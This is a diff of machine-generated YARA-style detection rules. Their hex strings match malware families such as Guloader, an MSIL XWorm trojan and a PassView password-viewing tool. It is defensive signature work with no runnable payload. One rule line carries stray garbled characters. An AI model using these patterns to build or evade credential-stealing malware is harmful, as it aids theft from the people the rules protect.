1)*8448) >=5 } -rule _InfrastructureShared_13504{ +rule _InfrastructureShared_14397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 44 4d 30 31 21 4d 54 42 00 01 00 29 81 01 74 69 6c 6b 61 6c 64 65 76 69 6b 61 72 65 72 20 69 6e 6b 6f 72 70 6f 72 61 74 69 6f 6e 65 6e 20 61 75 74 6f 73 65 72 75 6d 01 00 18 81 01 6b 6f 6e 66 69 } //18467 $a_74_1 = {6f 6e 73 20 73 74 61 6d 6d 65 72 69 6e 67 01 00 1b 81 01 73 6b 72 69 66 74 73 74 62 6e 69 6e 67 65 72 20 64 65 67 72 65 73 73 69 76 65 73 01 00 14 81 01 72 65 67 6e 69 6e 67 73 61 72 74 65 72 20 72 65 6f 6d 69 74 01 00 12 81 01 66 72 6d 61 6e 64 73 64 72 61 67 74 65 72 2e 65 78 65 00 00 78 } //27507 - $a_42_4 = {5f 41 54 5f 63 72 79 3a 47 65 6e 65 72 69 63 50 61 73 73 56 69 65 77 00 03 00 0c 01 50 61 73 73 56 69 65 } //8448 + $a_54_4 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 41 47 42 42 21 4d 54 42 00 05 00 1b 01 07 11 } //8448 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27507+(#a_42_4 & 1)*8448) >=5 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27507+(#a_54_4 & 1)*8448) >=5 } -rule _InfrastructureShared_13505{ +rule _InfrastructureShared_14398{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 41 47 42 42 21 4d 54 42 00 05 00 1b 01 07 11 07 8f 1e 00 00 01 25 47 06 61 d2 52 11 07 17 58 13 07 11 07 07 8e 69 32 e5 05 00 1b 01 16 0d 2b 11 07 09 8f } //21539 + $a_61_2 = {52 09 17 58 0d 09 } //18213 ॒堗ऍ + $a_32_3 = {05 00 1b 01 08 11 05 8f 18 00 00 01 25 47 07 61 d2 52 11 05 17 58 13 05 11 05 08 8e 69 32 e5 05 00 1b 01 16 0b 2b 11 06 07 8f 1a 00 00 01 25 47 03 61 d2 52 07 17 58 0b 07 06 8e 69 32 e9 05 00 1b 01 16 0b 2b 11 06 07 8f 1b 00 00 01 25 47 03 61 d2 52 07 17 58 0b 07 06 8e 69 32 e9 00 00 78 c4 00 00 05 00 05 00 08 00 } //-29177 + $a_4d_4 = {41 54 5f 63 72 79 3a 47 65 6e 65 72 69 63 50 61 73 73 56 69 65 77 00 03 00 0c 01 50 61 73 73 56 69 65 77 2e 70 64 62 01 00 15 81 01 26 42 65 65 70 20 4f 6e 20 4e 65 77 20 50 61 73 73 77 6f 72 64 01 } //8993 + condition: + ((#a_4c_0 & 1)*21539+(#a_61_2 & 1)*18213+(#a_32_3 & 1)*-29177+(#a_4d_4 & 1)*8993) >=5 + +} +rule _InfrastructureShared_14399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -152566,7 +162838,7 @@ rule _InfrastructureShared_13505{ ((#a_5f_0 & 1)*16931+(#a_77_1 & 1)*29537+(#a_54_2 & 1)*17996+(#a_00_3 & 1)*400+(#a_39_4 & 1)*5642+(#a_41_7 & 1)*8448) >=5 } -rule _InfrastructureShared_13506{ +rule _InfrastructureShared_14400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -152580,7 +162852,7 @@ rule _InfrastructureShared_13506{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*9472+(#a_00_2 & 1)*28440+(#a_77_3 & 1)*17409+(#a_6f_4 & 1)*23553) >=6 } -rule _InfrastructureShared_13507{ +rule _InfrastructureShared_14401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -152595,7 +162867,7 @@ rule _InfrastructureShared_13507{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*24937+(#a_45_2 & 1)*18758+(#a_65_3 & 1)*24948+(#a_2e_4 & 1)*25956+(#a_00_5 & 1)*97) >=6 } -rule _InfrastructureShared_13508{ +rule _InfrastructureShared_14402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -152610,7 +162882,7 @@ rule _InfrastructureShared_13508{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25390+(#a_48_2 & 1)*8448+(#a_00_3 & 1)*16686+(#a_6e_4 & 1)*27210+(#a_6a_5 & 1)*29268) >=6 } -rule _InfrastructureShared_13509{ +rule _InfrastructureShared_14403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -152625,7 +162897,7 @@ rule _InfrastructureShared_13509{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_00_5 & 1)*0) >=6 } -rule _InfrastructureShared_13510{ +rule _InfrastructureShared_14404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -152640,7 +162912,7 @@ rule _InfrastructureShared_13510{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*25669+(#a_4d_2 & 1)*27503+(#a_65_3 & 1)*25902+(#a_00_4 & 1)*6+(#a_55_5 & 1)*14918) >=6 } -rule _InfrastructureShared_13511{ +rule _InfrastructureShared_14405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -152654,7 +162926,7 @@ rule _InfrastructureShared_13511{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25714+(#a_55_2 & 1)*14918+(#a_65_4 & 1)*28233+(#a_6e_5 & 1)*21050) >=6 } -rule _InfrastructureShared_13512{ +rule _InfrastructureShared_14406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -152670,7 +162942,7 @@ rule _InfrastructureShared_13512{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*30318+(#a_23_2 & 1)*4+(#a_62_3 & 1)*385+(#a_6d_4 & 1)*24944+(#a_72_5 & 1)*26473+(#a_72_6 & 1)*8993) >=6 } -rule _InfrastructureShared_13513{ +rule _InfrastructureShared_14407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -152683,7 +162955,7 @@ rule _InfrastructureShared_13513{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*24932+(#a_46_2 & 1)*16675+(#a_6f_3 & 1)*29793) >=8 } -rule _InfrastructureShared_13514{ +rule _InfrastructureShared_14408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -152699,7 +162971,7 @@ rule _InfrastructureShared_13514{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29793+(#a_00_2 & 1)*0+(#a_3a_3 & 1)*24938+(#a_01_4 & 1)*2560+(#a_01_5 & 1)*-29627+(#a_4c_6 & 1)*8993) >=8 } -rule _InfrastructureShared_13515{ +rule _InfrastructureShared_14409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -152717,7 +162989,7 @@ rule _InfrastructureShared_13515{ ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*2560+(#a_01_2 & 1)*-29627+(#a_4c_3 & 1)*8993+(#a_6f_4 & 1)*29808+(#a_65_5 & 1)*25710+(#a_2b_6 & 1)*4886+(#a_13_7 & 1)*400+(#a_08_8 & 1)*1025) >=9 } -rule _InfrastructureShared_13516{ +rule _InfrastructureShared_14410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 03 00 03 00 21 " @@ -152728,7 +163000,7 @@ rule _InfrastructureShared_13516{ ((#a_54_0 & 1)*18467+(#a_8d_2 & 1)*7424) >=3 } -rule _InfrastructureShared_13517{ +rule _InfrastructureShared_14411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -152743,7 +163015,7 @@ rule _InfrastructureShared_13517{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*25345+(#a_54_2 & 1)*18467+(#a_17_3 & 1)*4508+(#a_17_4 & 1)*-9935+(#a_09_5 & 1)*4356) >=12 } -rule _InfrastructureShared_13518{ +rule _InfrastructureShared_14412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -152757,7 +163029,7 @@ rule _InfrastructureShared_13518{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*4508+(#a_17_2 & 1)*-9935+(#a_09_3 & 1)*4356+(#a_80_4 & 1)*1) >=13 } -rule _InfrastructureShared_13519{ +rule _InfrastructureShared_14413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -152771,7 +163043,7 @@ rule _InfrastructureShared_13519{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*21038+(#a_48_3 & 1)*8448+(#a_01_4 & 1)*9472+(#a_00_5 & 1)*1) >=15 } -rule _InfrastructureShared_13520{ +rule _InfrastructureShared_14414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 08 00 21 " @@ -152787,7 +163059,7 @@ rule _InfrastructureShared_13520{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*29537+(#a_48_3 & 1)*8448+(#a_13_4 & 1)*15616+(#a_03_5 & 1)*-28558+(#a_04_6 & 1)*-28561+(#a_70_7 & 1)*400) >=16 } -rule _InfrastructureShared_13521{ +rule _InfrastructureShared_14415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 06 00 21 " @@ -152802,7 +163074,7 @@ rule _InfrastructureShared_13521{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*-24060+(#a_79_2 & 1)*384+(#a_00_3 & 1)*26980+(#a_5c_4 & 1)*17153+(#a_6a_5 & 1)*29268) >=18 } -rule _InfrastructureShared_13522{ +rule _InfrastructureShared_14416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 06 00 21 " @@ -152816,7 +163088,7 @@ rule _InfrastructureShared_13522{ ((#a_6c_0 & 1)*16675+(#a_6e_1 & 1)*23652+(#a_23_2 & 1)*4+(#a_09_3 & 1)*10488+(#a_53_5 & 1)*18779) >=26 } -rule _InfrastructureShared_13523{ +rule _InfrastructureShared_14417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 04 00 21 " @@ -152828,7 +163100,7 @@ rule _InfrastructureShared_13523{ ((#a_6f_0 & 1)*21539+(#a_00_1 & 1)*36+(#a_00_3 & 1)*114) >=200 } -rule _InfrastructureShared_13524{ +rule _InfrastructureShared_14418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -152838,7 +163110,7 @@ rule _InfrastructureShared_13524{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13525{ +rule _InfrastructureShared_14419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -152848,7 +163120,7 @@ rule _InfrastructureShared_13525{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13526{ +rule _InfrastructureShared_14420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -152858,7 +163130,7 @@ rule _InfrastructureShared_13526{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_13527{ +rule _InfrastructureShared_14421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -152869,7 +163141,7 @@ rule _InfrastructureShared_13527{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*48) >=1 } -rule _InfrastructureShared_13528{ +rule _InfrastructureShared_14422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152880,7 +163152,7 @@ rule _InfrastructureShared_13528{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-28636) >=2 } -rule _InfrastructureShared_13529{ +rule _InfrastructureShared_14423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152891,7 +163163,7 @@ rule _InfrastructureShared_13529{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101) >=2 } -rule _InfrastructureShared_13530{ +rule _InfrastructureShared_14424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152901,7 +163173,7 @@ rule _InfrastructureShared_13530{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_13531{ +rule _InfrastructureShared_14425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152912,7 +163184,7 @@ rule _InfrastructureShared_13531{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*-1979) >=2 } -rule _InfrastructureShared_13532{ +rule _InfrastructureShared_14426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152923,7 +163195,7 @@ rule _InfrastructureShared_13532{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4367) >=2 } -rule _InfrastructureShared_13533{ +rule _InfrastructureShared_14427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152934,7 +163206,7 @@ rule _InfrastructureShared_13533{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_13534{ +rule _InfrastructureShared_14428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152945,7 +163217,7 @@ rule _InfrastructureShared_13534{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*-28323) >=2 } -rule _InfrastructureShared_13535{ +rule _InfrastructureShared_14429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -152955,7 +163227,7 @@ rule _InfrastructureShared_13535{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13536{ +rule _InfrastructureShared_14430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -152970,7 +163242,7 @@ rule _InfrastructureShared_13536{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*13892+(#a_45_2 & 1)*17976+(#a_c6_3 & 1)*7168+(#a_6e_4 & 1)*-4+(#a_00_5 & 1)*16129) >=2 } -rule _InfrastructureShared_13537{ +rule _InfrastructureShared_14431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -152984,7 +163256,7 @@ rule _InfrastructureShared_13537{ ((#a_54_0 & 1)*18467+(#a_89_2 & 1)*257+(#a_0f_3 & 1)*5632+(#a_01_4 & 1)*-28603+(#a_ca_5 & 1)*2238) >=2 } -rule _InfrastructureShared_13538{ +rule _InfrastructureShared_14432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0b 00 21 " @@ -153003,7 +163275,7 @@ rule _InfrastructureShared_13538{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-14847+(#a_6a_2 & 1)*2048+(#a_2d_3 & 1)*104+(#a_00_5 & 1)*0+(#a_41_6 & 1)*8448+(#a_67_7 & 1)*1792+(#a_74_8 & 1)*25712+(#a_63_9 & 1)*29295+(#a_02_10 & 1)*5631) >=2 } -rule _InfrastructureShared_13539{ +rule _InfrastructureShared_14433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -153015,7 +163287,7 @@ rule _InfrastructureShared_13539{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29295+(#a_65_2 & 1)*29561) >=3 } -rule _InfrastructureShared_13540{ +rule _InfrastructureShared_14434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -153027,7 +163299,7 @@ rule _InfrastructureShared_13540{ ((#a_46_0 & 1)*16675+(#a_84_1 & 1)*-16251+(#a_90_2 & 1)*18434) >=3 } -rule _InfrastructureShared_13541{ +rule _InfrastructureShared_14435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -153039,7 +163311,7 @@ rule _InfrastructureShared_13541{ ((#a_70_0 & 1)*16675+(#a_73_1 & 1)*24946+(#a_75_2 & 1)*11824) >=3 } -rule _InfrastructureShared_13542{ +rule _InfrastructureShared_14436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -153051,7 +163323,7 @@ rule _InfrastructureShared_13542{ ((#a_46_0 & 1)*21283+(#a_ff_1 & 1)*2084+(#a_50_2 & 1)*-29555) >=3 } -rule _InfrastructureShared_13543{ +rule _InfrastructureShared_14437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -153063,7 +163335,7 @@ rule _InfrastructureShared_13543{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*45+(#a_2d_3 & 1)*2305) >=4 } -rule _InfrastructureShared_13544{ +rule _InfrastructureShared_14438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -153076,7 +163348,7 @@ rule _InfrastructureShared_13544{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27506+(#a_2f_2 & 1)*13166+(#a_00_3 & 1)*29285) >=4 } -rule _InfrastructureShared_13545{ +rule _InfrastructureShared_14439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -153089,7 +163361,7 @@ rule _InfrastructureShared_13545{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29548+(#a_00_2 & 1)*4+(#a_52_3 & 1)*21320) >=4 } -rule _InfrastructureShared_13546{ +rule _InfrastructureShared_14440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -153102,7 +163374,7 @@ rule _InfrastructureShared_13546{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_6c_2 & 1)*25646+(#a_01_4 & 1)*-28558) >=4 } -rule _InfrastructureShared_13547{ +rule _InfrastructureShared_14441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -153114,7 +163386,7 @@ rule _InfrastructureShared_13547{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*9634+(#a_00_3 & 1)*400) >=5 } -rule _InfrastructureShared_13548{ +rule _InfrastructureShared_14442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -153128,7 +163400,7 @@ rule _InfrastructureShared_13548{ ((#a_46_0 & 1)*16675+(#a_5d_1 & 1)*23297+(#a_33_2 & 1)*311+(#a_69_3 & 1)*14930+(#a_65_4 & 1)*28525) >=5 } -rule _InfrastructureShared_13549{ +rule _InfrastructureShared_14443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -153141,21 +163413,35 @@ rule _InfrastructureShared_13549{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27493+(#a_00_3 & 1)*5+(#a_3a_4 & 1)*21587) >=5 } -rule _InfrastructureShared_13550{ +rule _InfrastructureShared_14444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 42 4b 31 32 33 21 4d 54 42 00 01 00 13 81 01 6b 6f 68 6a 65 72 6e 65 72 20 66 6c 65 72 72 79 69 6e 67 01 00 06 81 01 6b 6f 64 6b 6f 64 01 00 1e 81 01 67 65 6c 61 74 69 6e 69 7a 61 62 69 6c 69 74 } //18467 $a_20_1 = {6f 6f 72 74 72 65 6b 6b 65 72 01 00 28 81 01 73 75 6d 6d 69 74 72 69 65 73 20 6f 70 72 65 67 75 6c 65 72 69 6e 67 73 74 61 6c 6c 65 74 20 6d 79 73 74 61 63 69 61 6c 01 00 23 81 01 63 6f 61 6c 69 73 65 73 20 74 72 61 64 69 74 69 6f 6e 73 74 72 6f 20 65 6b 73 70 6f 72 74 65 72 65 64 65 00 00 78 c5 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 } //25961 - $a_32_2 = {47 75 6c 6f 61 64 65 72 2e 52 56 43 4e 30 31 21 4d 54 42 00 01 00 29 81 01 61 66 6b 6f 62 6c 69 6e 67 65 6e 20 64 69 73 70 65 72 67 65 72 69 6e 67 65 72 } //28265 - $a_20_3 = {72 79 62 65 6b 6c 64 72 65 73 01 00 19 81 01 6f 76 65 72 6d 65 64 69 63 61 74 69 6e 67 20 6d 65 74 68 79 6c 61 74 6f 72 01 00 14 81 01 76 69 64 65 6f 70 6c 61 64 65 73 70 69 6c 6c 65 72 65 6e 73 01 00 16 81 01 70 72 61 74 74 6c 65 64 20 6d 65 74 61 63 68 72 6f 6d 61 74 69 6e 01 00 17 81 01 76 65 72 67 65 73 20 73 74 72 6d 6c 69 6e 69 6e 67 65 } //25966 - $a_78_4 = {00 00 78 c5 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 58 30 31 21 4d 54 42 00 01 00 26 81 01 5c 69 64 69 6f 67 72 61 70 68 5c 70 73 65 75 64 6f 63 75 6c 74 75 72 61 6c 5c 44 69 67 69 74 69 73 65 64 31 39 34 01 00 0f 81 01 38 38 5c 61 66 73 6b 69 } //11886 + $a_32_2 = {47 75 6c 6f 61 64 65 72 2e 4c 53 57 30 31 21 4d 54 42 00 01 00 29 81 01 75 6e 6d 69 73 74 72 75 73 74 66 75 6c 6c 79 20 61 6c 65 63 74 6f 72 69 64 69 6e } //28265 + $a_69_3 = {73 74 61 61 65 6c 73 65 72 01 00 09 81 01 68 65 6c 66 72 69 65 64 73 01 00 0f 81 01 74 6d 72 65 72 6e 65 73 20 72 65 63 6c 61 64 01 00 25 81 01 64 72 69 6b 6b 65 61 75 74 6f 6d 61 74 65 72 6e 65 73 20 73 70 6f 6e 67 69 6e 62 6c 61 73 74 69 63 2e 65 78 65 01 00 1e 81 01 70 72 6f 66 66 65 73 73 69 6f 6e 20 63 65 6c 65 6d 69 6e 65 73 20 77 69 6c 69 } //8293 + $a_69_4 = {00 78 c5 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 4e 30 31 21 4d 54 42 00 01 00 29 81 01 61 66 6b 6f 62 6c 69 6e 67 65 6e 20 64 69 73 70 65 72 67 65 72 69 6e 67 65 72 6e 65 73 20 6b 72 79 62 65 6b 6c 64 72 65 73 01 00 19 81 01 6f 76 65 72 6d 65 64 69 63 61 74 69 6e } //26999 condition: - ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25961+(#a_32_2 & 1)*28265+(#a_20_3 & 1)*25966+(#a_78_4 & 1)*11886) >=5 + ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25961+(#a_32_2 & 1)*28265+(#a_69_3 & 1)*8293+(#a_69_4 & 1)*26999) >=5 } -rule _InfrastructureShared_13551{ +rule _InfrastructureShared_14445{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 53 57 30 31 21 4d 54 42 00 01 00 29 81 01 75 6e 6d 69 73 74 72 75 73 74 66 75 6c 6c 79 20 61 6c 65 63 74 6f 72 69 64 69 6e 65 20 74 69 6c 73 74 61 61 65 6c 73 65 72 01 00 09 81 01 68 65 6c 66 72 69 } //18467 + $a_01_1 = {00 0f 81 01 74 6d 72 65 72 6e 65 73 20 72 65 63 6c 61 64 01 00 25 81 01 64 72 69 6b 6b 65 61 75 74 6f 6d 61 74 65 72 6e 65 73 20 73 70 6f 6e 67 69 6e 62 6c 61 73 74 69 63 2e 65 78 65 01 00 1e 81 01 70 72 6f 66 66 65 73 73 69 6f 6e 20 63 65 6c 65 6d 69 6e 65 73 20 77 69 6c 69 77 69 6c 69 00 00 78 c5 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a } //25701 + $a_33_2 = {2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 4e 30 31 21 4d 54 42 00 01 00 29 81 01 61 66 6b 6f 62 6c 69 6e 67 65 6e 20 64 69 73 70 65 72 67 65 72 69 6e 67 65 72 6e 65 73 20 6b 72 79 62 65 6b 6c 64 72 65 73 01 00 19 81 01 6f 76 65 72 6d 65 64 69 63 61 74 69 6e 67 20 6d 65 74 68 79 6c 61 74 6f 72 01 00 14 81 01 76 69 64 65 6f 70 6c 61 } //26967 + $a_70_3 = {6c 6c 65 72 65 6e 73 01 00 16 81 01 70 72 61 74 74 6c 65 64 20 6d 65 74 61 63 68 72 6f 6d 61 74 69 6e 01 00 17 81 01 76 65 72 67 65 73 20 73 74 72 6d 6c 69 6e 69 6e 67 65 6e 2e 65 78 65 00 00 78 c5 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 58 30 31 21 4d 54 42 00 01 00 26 81 01 5c 69 64 } //25956 + $a_72_4 = {70 68 5c 70 73 65 75 64 6f 63 75 6c 74 75 72 61 6c 5c 44 69 67 69 74 69 73 65 64 31 39 34 01 00 0f 81 01 38 38 5c 61 66 73 6b 69 62 65 73 2e 6c 6e 6b 01 00 1b 81 01 25 62 75 72 65 61 75 6b 72 61 74 69 73 25 5c 65 6e 65 66 6f 72 61 65 6c 64 65 72 01 00 22 81 01 6d 65 6e 75 65 6d 6e 65 72 20 62 69 73 6d 69 6c } //28521 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25701+(#a_33_2 & 1)*26967+(#a_70_3 & 1)*25956+(#a_72_4 & 1)*28521) >=5 + +} +rule _InfrastructureShared_14446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -153169,7 +163455,7 @@ rule _InfrastructureShared_13551{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*25701+(#a_23_2 & 1)*5+(#a_69_3 & 1)*385+(#a_75_4 & 1)*25965) >=5 } -rule _InfrastructureShared_13552{ +rule _InfrastructureShared_14447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -153183,7 +163469,7 @@ rule _InfrastructureShared_13552{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25954+(#a_3a_2 & 1)*25455+(#a_01_3 & 1)*3328+(#a_26_4 & 1)*25462) >=5 } -rule _InfrastructureShared_13553{ +rule _InfrastructureShared_14448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -153199,7 +163485,7 @@ rule _InfrastructureShared_13553{ ((#a_41_0 & 1)*20515+(#a_50_1 & 1)*-32743+(#a_44_2 & 1)*24953+(#a_65_3 & 1)*25902+(#a_82_4 & 1)*6259+(#a_6f_5 & 1)*26625+(#a_00_7 & 1)*117) >=5 } -rule _InfrastructureShared_13554{ +rule _InfrastructureShared_14449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -153216,7 +163502,7 @@ rule _InfrastructureShared_13554{ ((#a_54_0 & 1)*18467+(#a_ff_2 & 1)*-3707+(#a_54_3 & 1)*20308+(#a_45_4 & 1)*21550+(#a_45_5 & 1)*16706+(#a_81_6 & 1)*1+(#a_c5_7 & 1)*0+(#a_72_8 & 1)*28531) >=5 } -rule _InfrastructureShared_13555{ +rule _InfrastructureShared_14450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -153230,7 +163516,7 @@ rule _InfrastructureShared_13555{ ((#a_48_0 & 1)*12067+(#a_00_2 & 1)*114+(#a_58_3 & 1)*21577+(#a_01_4 & 1)*10752+(#a_01_5 & 1)*3072) >=6 } -rule _InfrastructureShared_13556{ +rule 